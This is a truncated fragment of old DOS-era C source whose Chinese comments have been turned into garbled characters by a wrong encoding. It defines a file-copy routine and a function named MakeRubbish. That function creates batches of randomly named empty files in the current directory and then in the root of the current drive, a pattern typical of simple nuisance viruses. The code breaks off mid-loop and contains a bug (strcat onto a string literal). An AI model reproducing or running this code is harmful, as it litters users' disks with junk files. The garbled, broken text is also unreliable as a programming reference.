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//Á¬½ÓÍ·Îļþ
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//¿½±´ÎļþÄ£¿é
int copyfile (char *infile, char *outfile)
{
    FILE *in,*out; //¶¨ÒåÎļþÖ¸Õë
    in = fopen(infile,"r"); //´ò¿ªÎļþ
    out = fopen(outfile,"w"); //½¨Á¢Îļþ
    while (!feof(in)) //ÅжÏÎļþÊÇ·ñÒѽáÊø
    {
        fputc (fgetc(in),out); //´Óin¶ÁÒ»×Ö·ûµ½out
    }
    fclose (in); //¹Ø±ÕinÎļþ
    fclose (out);//¹Ø±ÕoutÎļþ
    return 0; //·µ»Ø
}
int MakeRubbish (void)
{
    int i; //ÉùÃ÷ÕûÐαäÁ¿i
    FILE *fp; //ÎļþÖ¸Õëfp
    char *path; //·¾¶Ö¸Õë
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //³õʼ»¯Ö¸ÕëÊý×é
    char *addtion = ":\\";
    for (i = 0; i<5; i++) //Ñ­»·4´Î
    {
        char tempname[] = "XXXXXX" ; //Ëæ»úÃû×Ö
        NewName = mktemp(tempname);  //½¨Á¢Î¨Ò»µÄÎļþÃû
        fp = fopen(NewName,"w");  //´´½¨Îı¾Îļþ
        fclose (fp); //¹Ø±ÕfpÎļþÁ÷
    }
    path = strcat(disk[getdisk()],addtion); //µÃµ½¸ù±àºÅ
    chdir(path); //¸Ä±ä¹¤×÷Ŀ¼
    for (i = 0; i<5; i++) //Ñ­»·´ÎÊý
    {
        char tempname[] = "XXXXXX"; //´®¸³ÈëÊý×é
        NewName = mktemp(tempname); //½¨Á¢Î¨Ò»µÄÎļþÃû
        fp = fopen(NewName,"w");    //´´½¨ÐÂÎļþ
        fclose (fp); //¹Ø±ÕÎļþ
 &n